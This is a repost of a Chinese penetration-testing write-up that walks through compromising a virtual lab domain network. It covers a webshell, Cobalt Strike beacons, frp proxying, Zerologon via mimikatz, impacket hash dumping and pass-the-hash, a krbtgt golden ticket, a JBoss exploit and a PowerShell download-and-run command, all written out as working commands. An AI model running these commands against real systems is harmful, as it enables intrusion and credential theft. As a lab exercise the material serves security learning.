搜索

[16994] 2021-07-06_内网+服务攻防实战模拟

文档创建者：s7ckTeam
浏览次数：4
最后更新：2025-01-18
2021-07-06_内网+服务攻防实战模拟 内 网 + 服 务 攻 防 实 战 模 拟 K r 1 p t 0   F r e e B u f   2 0 2 1 - 0 7 - 0 6 本 篇 文 章 详 细 记 录 了 一 个 内 网 + 服 务 环 境 靶 机 的 渗 透 过 程 ， 大 约 涉 及 到 1 5 台 主 机 ， 由 于 这 些 靶 机 都 在 虚 拟 机 内 搭 建 ， 和 实 战 相 比 有 所 区 别 ， 但 可 以 尽 最 大 程 度 地 模 拟 实 战 的 情 况 。 从 一 级 代 理 到 三 级 代 理 ， 使 用 内 网 安 全 中 常 见 的 攻 击 手 段 （ 置 零 攻 击 、 票 据 、 域 信 任 等 ） 和 服 务 安 全 常 用 的 渗 透 手 段 （ M S S Q L 利 用 存 储 过 程 提 权 、 s h i r o 5 5 0 、 S t r u t s 2 - 0 5 2 漏 洞 等 等 ） 通 过 对 内 网 中 各 个 主 机 的 渗 透 ， 一 步 步 将 W e b 服 务 器 、 子 域 控 、 父 域 控 、 安 全 域 、 涉 密 域 、 独 立 域 等 主 机 拿 下 。 P S ： 三 月 入 门 内 网 安 全 ， 简 单 完 成 了 项 目 一 （ 纯 内 网 环 境 无 任 何 应 用 ） ， 四 月 五 月 学 习 服 务 攻 防 ， 包 括 五 个 数 据 库 、 八 个 中 间 件 和 五 个 框 架 ， 总 结 了 大 部 分 知 识 点 ， 也 对 其 有 了 基 本 了 解 。 本 次 实 战 模 拟 是 D A Y U 师 父 搭 建 第 二 个 实 战 项 目 ， 结 合 了 前 三 个 月 内 网 + 服 务 攻 防 大 部 分 知 识 点 。 （ 水 平 有 限 ， 望 大 佬 轻 喷 ~ ） 靶 场 环 境 简 单 介 绍 靶 场 环 境 简 单 介 绍 靶 场 环 境 的 大 致 拓 扑 图 如 下 基 本 的 方 向 也 分 为 两 条 ， 一 条 是 独 立 域 方 向 ， 连 接 着 5 台 业 务 服 务 器 ， 另 一 条 是 安 全 域 方 向 ， 连 接 涉 密 服 务 器 。 本 篇 文 章 根 据 这 两 条 方 向 分 别 进 行 记 录 ， 上 篇 介 绍 W e b 服 务 器 、 子 域 控 、 父 域 控 、 辅 域 控 、 安 全 域 和 涉 密 服 务 器 这 快 ， 下 篇 介 绍 独 立 域 的 7 台 主 机 。 不 多 说 ， 开 始 动 手 ~ 一 、 一 、 W e b 服 务 器 服 务 器 重 点 是 内 网 和 服 务 主 机 ， 拿 下 W e b 服 务 器 就 简 单 概 述 下 简 单 概 述 下 ~ 1 、 后 台 登 陆 点 、 后 台 登 陆 点 + 密 码 爆 破 密 码 爆 破 使 用 爆 破 密 码 用 a d m i n 和 1 2 3 4 5 6 登 陆 进 后 台 。 2 、 前 台 模 板 写 入 一 句 话 、 前 台 模 板 写 入 一 句 话 b u r p s u i t e
在 后 台 模 板 内 容 编 辑 处 ， 发 现 可 以 通 过 前 台 模 板 拿 s h e l l ， 在 前 台 模 板 中 写 入 一 句 话 3 、 蚁 剑 拿 、 蚁 剑 拿 s h e l l 分 别 填 上 U R L 地 址 和 连 接 密 码 ， 成 功 连 接 4 、 上 线 、 上 线 C S 1 ） 创 建 监 听 器 1 1 1 ， 选 择 ， 创 建 木 马 文 件 通 过 蚁 剑 虚 拟 终 端 上 传 并 执 行 木 马 文 件 ， 成 功 上 线 C S 5 、 使 用 插 件 提 权 、 使 用 插 件 提 权 攻 击 - - 生 成 后 门 - - W i n d o w s   E x e c u t a b l e   ( S ) w e b s e r v e r . e x e
6 、 建 立 一 级 代 理 、 建 立 一 级 代 理   |   f r p 上 传 文 件 ， 修 改 文 件 内 容 如 下 修 改 文 件 内 容 执 行 顺 序 ： 先 在 公 网 服 务 器 上 启 动 ， 后 在 w e b 服 务 器 上 连 接 二 、 子 域 控 制 器 二 、 子 域 控 制 器 H a s h 置 零 攻 击 、 C V E - 2 0 2 0 - 1 4 7 2 1 、 信 息 收 集 、 信 息 收 集 通 过 等 扫 描 器 和 系 统 命 令 等 方 式 对 域 内 环 境 进 行 信 息 收 集 ， 整 合 后 的 数 据 如 下 f r p c . e x e f r p c . i n i [ c o m m o n ] s e r v e r _ a d d r   =   1 2 1 . x x . x x . x x             #   公 网 服 务 器 I P s e r v e r _ p o r t   =   1 2 0 0 1                           #   服 务 器 端 口 [ h t t p _ p r o x y ] t y p e   =   t c p r e m o t e _ p o r t   =   1 0 9 0             #   s o c k s 代 理 端 口 p l u g i n   =   s o c k s 5 f r p s . i n i [ c o m m o n ] b i n d _ a d d r   =   0 . 0 . 0 . 0           #   绑 定 地 址 ， 0 . 0 . 0 . 0 表 示 本 身 b i n d _ p o r t   =   1 2 0 0 1               #   绑 定 端 口 f r p s . e x e 1 .   公 网 服 务 器 f r p s . e x e   - c   f r p s . i n i 2 .   W e b 服 务 器 f r p c . e x e   - c   f r p c . i n i C S c a n 、 n b t s c a n 、 f s c a n i p c o n f i g 、 s y s i n f o 本 机 信 息 : 1 9 2 . 1 6 8 . 7 3 . 1 3 7 1 0 . 1 0 . 1 0 . 1 0 1         D N S 为 1 0 . 1 0 . 1 0 . 1 0   ( 可 以 确 定 为 子 域 控 I P ) 主 机 名 :   w e b 域 名 :   z i y u . d a y u . c o m 1 0 . 1 0 . 1 0 . 5 D A Y U W I N - A M J 9 T 9 T L 1 2 3                         S H A R I N G   D C W i n d o w s   S e r v e r   2 0 1 6 A M J 9 T 9 T L 1 2 3     d a y u . c o m 1 0 . 1 0 . 1 0 . 6 D A Y U F U Y U                                               S H A R I N G   D C W i n d o w s   S e r v e r   2 0 1 6 F U Y U   d a y u . c o m 1 0 . 1 0 . 1 0 . 1 0 Z I Y U 0 Z I Y U                                             S H A R I N G W i n d o w s   S e r v e r   2 0 1 6 另 一 I P : 1 0 . 1 2 . 1 0 . 5 Z I Y U   z i y u . d a y u . c o m 1 0 . 1 0 . 1 0 . 6 6 A Q W I N - D 5 N C B K R 1 1 G 2                             S H A R I N G   D C W i n d o w s   S e r v e r   2 0 1 6 另 一 I P : 2 0 1 . 1 . 1 0 . 5 W I N - D 5 N C B K R 1 1 G 2   a q . d a y u . c o m 1 0 . 1 0 . 1 0 . 9 0
分 析 上 面 的 信 息 后 ， 可 得 子 域 控 I P 为 ， 且 为 操 作 系 统 。 可 以 尝 试 使 用 置 空 攻 击 （ C V E - 2 0 2 0 - 1 4 7 2 ） 2 、 域 控 、 域 控 H a s h 置 空 漏 洞 置 空 漏 洞   |   C V E - 2 0 2 0 - 1 4 7 2 1 ） 上 传 m i m i k a t z 工 具 2 ） 检 测 是 否 存 在 C V E - 2 0 2 0 - 1 4 7 2 回 显 O K   —   v u l n e r a b l e 表 示 存 在 该 漏 洞 3 ） 执 行 置 零 攻 击 4 ） 空 H a s h 登 陆 导 出 H a s h 值 通 过 p r o x y c h a i n s 使 用 一 级 代 理 5 ） 使 用 w m i e x e c . p y 登 陆 进 A d m i n i s t r a t o r 账 户 6 ） 导 出 S Y S T E M 、 S A M 等 密 码 文 件 接 下 来 就 是 恢 复 域 控 H a s h 值 ， 恢 复 完 整 登 陆 进 A d m i n i s t r a t o r 用 户 ， 执 行 命 令 下 载 三 个 文 件 1 0 . 1 0 . 1 0 . 9 0 D A Y U H E X I N                                             S H A R I N G W i n 7 H E X I N   d a y u . c o m 1 0 . 1 0 . 1 0 . 1 0 1 Z I Y U 0 W E B                                               S H A R I N G W i n 7 W E B   z i y u . d a y u . c o m 1 0 . 1 0 . 1 0 . 1 0 w i n 2 0 1 6 s h e l l   m i m i k a t z . e x e   " l s a d u m p : : z e r o l o g o n   / t a r g e t : 1 0 . 1 0 . 1 0 . 1 0   / a c c o u n t : Z I Y U $ "   " e x i t " s h e l l   m i m i k a t z . e x e   " l s a d u m p : : z e r o l o g o n   / t a r g e t : 1 0 . 1 0 . 1 0 . 1 0   / a c c o u n t : Z I Y U $   / e x p l o i t "   " e x i t " p r o x y c h a i n s   i m p a c k e t - s e c r e t s d u m p   - n o - p a s s   - j u s t - d c   z i y u . d a y u . c o m / Z I Y U $ @ 1 0 . 1 0 . 1 0 . 1 0 得 到 a 8 a d 7 9 b 7 b 2 c 6 5 9 8 6 5 8 c a 0 9 3 2 c b f 0 1 e 4 0 p r o x y c h a i n s   p y t h o n 3   w m i e x e c . p y   - h a s h e s   : a 8 a d 7 9 b 7 b 2 c 6 5 9 8 6 5 8 c a 0 9 3 2 c b f 0 1 e 4 0   . / A d m i n i s t r a t o r @ 1 0 . 1 0 . 1 0 . 1 0
7 ） 破 解 密 码 文 件 得 到 域 机 器 H a s h 8 ） 恢 复 域 控 机 器 H a s h 值 使 用 到 脚 本 项 目 地 址 ： 3 、 上 线 、 上 线 C S 1 ） 生 成 监 听 1 0 . 1 0 . 1 0 . 0 / 2 4 网 段 的 中 转 监 听 器 2 ） 生 成 木 马 文 件 ， 并 拷 贝 到 k a l i 上 r e g   s a v e   H K L M S Y S T E M   s y s t e m . h i v e r e g   s a v e   H K L M S A M   s a m . h i v e r e g   s a v e   H K L M S E C U R I T Y   s e c u r i t y . h i v e g e t   s y s t e m . h i v e g e t   s a m . h i v e g e t   s e c u r i t y . h i v e d e l   / f   s y s t e m . h i v e d e l   / f   s a m . h i v e d e l   / f   s e c u r i t y . h i v e i m p a c k e t - s e c r e t s d u m p   - s a m   s a m . h i v e   - s y s t e m   s y s t e m . h i v e   - s e c u r i t y   s e c u r i t y . h i v e   L O C A L 得 到 0 6 e e d d 3 4 1 3 3 3 c 6 9 b 0 b 2 9 8 0 a f a 8 1 4 7 8 3 a r e i n s t a l l _ o r i g i n a l _ p w . p y h t t p s : / / g i t h u b . c o m / r i s k s e n s e / z e r o l o g o n p r o x y c h a i n s   p y t h o n 3   r e i n s t a l l _ o r i g i n a l _ p w . p y   Z I Y U   1 0 . 1 0 . 1 0 . 1 0   0 6 e e d d 3 4 1 3 3 3 c 6 9 b 0 b 2 9 8 0 a f a 8 1 4 7 8 3 a z z 1 . e x e
3 ） w m i e x e c . p y 连 接 登 陆 进 s h e l l ， 上 传 执 行 文 件 ， 成 功 上 线 C S ~ 三 、 父 域 控 制 器 三 、 父 域 控 制 器 C V E - 2 0 2 0 - 1 4 7 2   H a s h 置 零 攻 击   |   1 0 . 1 0 . 1 0 . 5 1 、 信 息 收 集 、 信 息 收 集 使 用 一 级 代 理 进 行 常 规 端 口 扫 描 ， 没 有 发 现 服 务 应 用 程 序 ， 判 断 是 个 纯 域 控 环 境 2 、 、 H a s h 置 零 攻 击 拿 下 父 域 控 置 零 攻 击 拿 下 父 域 控 类 似 子 域 控 的 拿 下 方 式 1 ） 上 传 m i m i k a t z 2 ） 检 测 是 否 存 在 置 零 攻 击 的 可 能 回 显 表 示 存 在 该 漏 洞 3 ） 执 行 置 零 攻 击 4 ） 空 H a s h 登 陆 导 出 H a s h 值 通 过 p r o x y c h a i n s 使 用 一 级 代 理 z z 1 . e x e p r o x y c h a i n s   p y t h o n 3   w m i e x e c . p y   - h a s h e s   : a 8 a d 7 9 b 7 b 2 c 6 5 9 8 6 5 8 c a 0 9 3 2 c b f 0 1 e 4 0   . / A d m i n i s t r a t o r @ 1 0 . 1 0 . 1 0 . 1 0 I P :   1 0 . 1 0 . 1 0 . 5 操 作 系 统 :   W i n   2 0 1 6 主 机 名 :   W I N - A M J 9 T 9 T L 1 2 3 域 名 :   d a y u . c o m p r o x y c h a i n s   n m a p   - s T   - s V   - P n   - n   - p   8 0 8 0 , 3 3 0 6 , 6 3 7 9 , 8 0 , 1 4 3 3 , 2 7 0 1 7   1 0 . 1 0 . 1 0 . 5 P O R T             S T A T E     S E R V I C E               V E R S I O N 8 0 / t c p         c l o s e d   h t t p 1 4 3 3 / t c p     c l o s e d   m s - s q l - s 3 3 0 6 / t c p     c l o s e d   m y s q l 6 3 7 9 / t c p     c l o s e d   r e d i s 8 0 8 0 / t c p     c l o s e d   h t t p - p r o x y 2 7 0 1 7 / t c p   c l o s e d   m o n g o d s h e l l   m i m i k a t z . e x e   " l s a d u m p : : z e r o l o g o n   / t a r g e t : 1 0 . 1 0 . 1 0 . 5   / a c c o u n t : W I N - A M J 9 T 9 T L 1 2 3 $ "   " e x i t " O K   - -   v u l n e r a b l e s h e l l   m i m i k a t z . e x e   " l s a d u m p : : z e r o l o g o n   / t a r g e t : 1 0 . 1 0 . 1 0 . 5   / a c c o u n t : W I N - A M J 9 T 9 T L 1 2 3 $   / e x p l o i t "   " e x i t " p r o x y c h a i n s   i m p a c k e t - s e c r e t s d u m p   - n o - p a s s   - j u s t - d c   W I N - A M J 9 T 9 T L 1 2 3 . d a y u / W I N - A M J 9 T 9 T L 1 2 3 $ @ 1 0 . 1 0 . 1 0 . 5 得 到 : 9 9 b 8 1 1 9 6 c 6 4 1 b 0 5 c e 3 c b 7 f c d 7 c 2 7 e 0 9 4
5 ） 使 用 w m i e x e c . p y 登 陆 进 A d m i n i s t r a t o r 账 户 6 ） 导 出 S Y S T E M 、 S A M 等 密 码 文 件 接 下 来 就 是 恢 复 域 控 H a s h 值 ， 恢 复 完 整 登 陆 进 s h e l l 中 ， 执 行 以 下 命 令 7 ） 破 解 密 码 文 件 得 到 域 机 器 H a s h 8 ） 恢 复 域 控 机 器 H a s h 值 使 用 到 脚 本 p r o x y c h a i n s   p y t h o n 3   w m i e x e c . p y   - h a s h e s   : 9 9 b 8 1 1 9 6 c 6 4 1 b 0 5 c e 3 c b 7 f c d 7 c 2 7 e 0 9 4   . / A d m i n i s t r a t o r @ 1 0 . 1 0 . 1 0 . 5 r e g   s a v e   H K L M S Y S T E M   s y s t e m . h i v e r e g   s a v e   H K L M S A M   s a m . h i v e r e g   s a v e   H K L M S E C U R I T Y   s e c u r i t y . h i v e g e t   s y s t e m . h i v e g e t   s a m . h i v e g e t   s e c u r i t y . h i v e d e l   / f   s y s t e m . h i v e d e l   / f   s a m . h i v e d e l   / f   s e c u r i t y . h i v e i m p a c k e t - s e c r e t s d u m p   - s a m   s a m . h i v e   - s y s t e m   s y s t e m . h i v e   - s e c u r i t y   s e c u r i t y . h i v e   L O C A L 得 到 4 c 5 0 0 8 0 d d 9 3 8 6 c 7 3 8 3 6 1 8 a 6 a 3 7 9 5 6 6 f c r e i n s t a l l _ o r i g i n a l _ p w . p y p r o x y c h a i n s   p y t h o n 3   r e i n s t a l l _ o r i g i n a l _ p w . p y   W I N - A M J 9 T 9 T L 1 2 3   1 0 . 1 0 . 1 0 . 5   4 c 5 0 0 8 0 d d 9 3 8 6 c 7 3 8 3 6 1 8 a 6 a 3 7 9 5 6 6 f c
P S ： 用 下 面 的 方 法 恢 复 H a s h 暂 时 无 效 ， 望 大 佬 指 出 错 误 3 、 上 线 、 上 线 C S 先 在 子 域 控 上 创 建 中 转 监 听 器 并 生 成 木 马 文 件 再 通 过 w m i e x e c . p y 登 陆 进 A d m i n i s t r a t o r 账 户 ， 上 传 木 马 文 件 4 、 拓 展 ： 利 用 域 信 任 拿 下 父 域 控 、 拓 展 ： 利 用 域 信 任 拿 下 父 域 控 1 ） 域 信 任 相 关 信 息 收 集 S I D 信 息 k r b t g t 的 N T L M 值 2 ） 利 用 k r b t g t 散 列 值 获 取 目 标 域 的 权 限 生 成 黄 金 票 据 并 注 入 票 据 注 入 后 查 看 能 否 访 问 父 域 控 目 录 s h e l l   m i m i k a t z . e x e   " p r i v i l e g e : : d e b u g "   " l s a d u m p : : p o s t z e r o l o g o n   / t a r g e t : 1 0 . 1 0 . 1 0 . 5   / a c c o u n t : W I N - A M J 9 T 9 T L 1 2 3 $ "   " e x i t z z 4 . e x e z z 4 . e x e s h e l l   m i m i k a t z . e x e   p r i v i l e g e : : d e b u g   " l s a d u m p : : l s a   / p a t c h   / u s e r : d a y u $ "   " l s a d u m p : : t r u s t   / p a t c h "   " e x i t " 子 域 控 S I D             S - 1 - 5 - 2 1 - 2 5 8 3 6 9 8 9 6 8 - 2 4 2 9 5 8 1 0 8 0 - 2 1 1 4 4 2 4 8 6 8 父 域 控 S I D             S - 1 - 5 - 2 1 - 3 3 0 9 3 9 5 4 1 7 - 4 1 0 8 6 1 7 8 5 6 - 2 1 6 8 4 3 3 8 3 4 子 域 控 r c 4             d 8 d 4 4 b 1 7 b b 4 2 4 c f b 9 e f 1 d e c 0 f 7 f d c f e 5 s h e l l   m i m i k a t z . e x e   " p r i v i l e g e : : d e b u g "   " l s a d u m p : : l s a   / p a t c h   / u s e r : k r b t g t "   " e x i t " k r b t g t 的 N T L M 值 :       3 7 d e 8 c 1 4 2 5 b 5 9 7 0 5 5 f 7 6 a 0 3 7 a 4 9 a d f d d s h e l l   m i m i k a t z . e x e   " K e r b e r o s : : g o l d e n   / u s e r : a d m i n i s t r a t o r   / d o m a i n : z i y u . d a y u . c o m   / s i d : S - 1 - 5 - 2 1 - 2 5 8 3 6 9 8 9 6 8 - 2 4 2 9 5 8 1 0 8 0 - 2 1 1 4 4 2 4 8 6 8   / s i d s : S - 1 - 5 - 2 1 - 3 3 0 9 3 9 5 4 1 7 - 4 1 0 8 6 1 7 8 5 6 - 2 1 6 8 4 3 3 8 3 4 - 5 1 9   / k r b t g t : 3 7 d e 8 c 1 4 2 5 b 5 9 7 0 5 5 f 7 6 a 0 3 7 a 4 9 a d f d d   / p t t " s h e l l   d i r   W I N - A M J 9 T 9 T L 1 2 3 . d a y u . c o m c $
检 查 了 好 几 遍 还 是 拒 绝 访 问 ， 先 留 着 ， 之 后 有 技 术 了 回 来 解 决 。 正 常 情 况 下 ， 能 访 问 到 父 域 控 的 目 录 后 写 入 木 马 文 件 后 可 以 设 置 定 时 任 务 启 动 木 马 文 件 上 线 C S 四 、 辅 域 控 制 器 四 、 辅 域 控 制 器 1 0 . 1 0 . 1 0 . 6   |   W i n   2 0 1 6 1 、 信 息 收 集 、 信 息 收 集 2 、 上 线 、 上 线 C S 由 于 父 域 控 和 辅 域 控 是 相 辅 相 成 的 ， 所 以 他 们 两 的 密 码 一 致 ， 改 了 一 个 ， 另 一 个 就 跟 着 变 通 过 w m i e x e c . p y 登 陆 进 A d m i n i s t r a t o r 账 户 上 传 后 门 文 件 五 、 父 域 用 户 主 机 五 、 父 域 用 户 主 机 J B o s s   |   1 0 . 1 0 . 1 0 . 9 0 1 、 信 息 收 集 、 信 息 收 集 使 用 n m a p 进 行 端 口 扫 描 只 开 启 了 一 个 8 0 8 0 端 口 ， 挂 代 理 前 往 访 问 看 看 ， 发 现 为 J B o s s 中 间 件 2 、 方 法 一 ： 、 方 法 一 ： J B o s s 自 动 化 工 具 渗 透 自 动 化 工 具 渗 透 使 用 自 动 化 渗 透 工 具 项 目 地 址 ： h t t p s : / / g i t h u b . c o m / j o a o m a t o s f / j e x b o s s I P :   1 0 . 1 0 . 1 0 . 6 操 作 系 统 :   W i n   2 0 1 6 主 机 名 :   F U Y U 域 名 :   d a y u . c o m z z 4 . e x e p r o x y c h a i n s   p y t h o n 3   w m i e x e c . p y   - h a s h e s   : 9 9 b 8 1 1 9 6 c 6 4 1 b 0 5 c e 3 c b 7 f c d 7 c 2 7 e 0 9 4   . / A d m i n i s t r a t o r @ 1 0 . 1 0 . 1 0 . 6 I P :   1 0 . 1 0 . 1 0 . 9 0 操 作 系 统 :   W i n   7 主 机 名 :   H E X I N 域 名 :   d a y u . c o m p r o x y c h a i n s   n m a p   - s T   - s V   - P n   - n   - p   8 0 8 0 , 3 3 0 6 , 6 3 7 9 , 8 0 , 1 4 3 3 , 2 7 0 1 7   1 0 . 1 0 . 1 0 . 9 0 P O R T             S T A T E     S E R V I C E         V E R S I O N 8 0 / t c p         c l o s e d   h t t p 1 4 3 3 / t c p     c l o s e d   m s - s q l - s 3 3 0 6 / t c p     c l o s e d   m y s q l 6 3 7 9 / t c p     c l o s e d   r e d i s 8 0 8 0 / t c p     o p e n       h t t p               A p a c h e   T o m c a t / C o y o t e   J S P   e n g i n e   1 . 1 2 7 0 1 7 / t c p   c l o s e d   m o n g o d j e x b o s s . p y p r o x y c h a i n s   p y t h o n   j e x b o s s . p y   - h o s t   h t t p : / / 1 0 . 1 0 . 1 0 . 9 0 : 8 0 8 0
存 在 a d m i n - c o n s o l e 漏 洞 ， 在 提 示 a d m i n - C o n s o l e 时 选 择 y e s 得 到 一 个 s h e l l 不 过 这 里 执 行 p o w e r s h e l l 并 没 有 上 线 成 功 过 。 此 外 ， 在 内 网 不 好 反 向 连 接 ， 这 里 没 啥 思 路 ， 等 大 佬 捞 捞 ~ 3 、 方 法 二 ： 、 方 法 二 ： J B o s s 手 动 渗 透 手 动 渗 透 1 ） 发 现 J B o s s 后 台 登 陆 界 面 尝 试 账 号 a d m i n 以 及 默 认 密 码 a d m i n 登 陆 ， 成 功 登 陆 进 去 （ 运 气 成 分 ）   可 以 用 B u r p S u i t e 抓 包 爆 破 密 码 p o w e r s h e l l   ( n e w - o b j e c t   S y s t e m . N e t . W e b C l i e n t ) . D o w n l o a d F i l e ( ' h t t p : / / 1 0 . 1 0 . 1 0 . 1 0 1 / z z 4 . e x e ' , ' z z 4 . e x e ' ) ; s t a r t - p r o c e s s   z z 4 . e x e h t t p : / / 1 0 . 1 0 . 1 0 . 9 0 : 8 0 8 0 / a d m i n - c o n s o l e / l o g i n . s e a m ? c o n v e r s a t i o n I d = 3 3
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理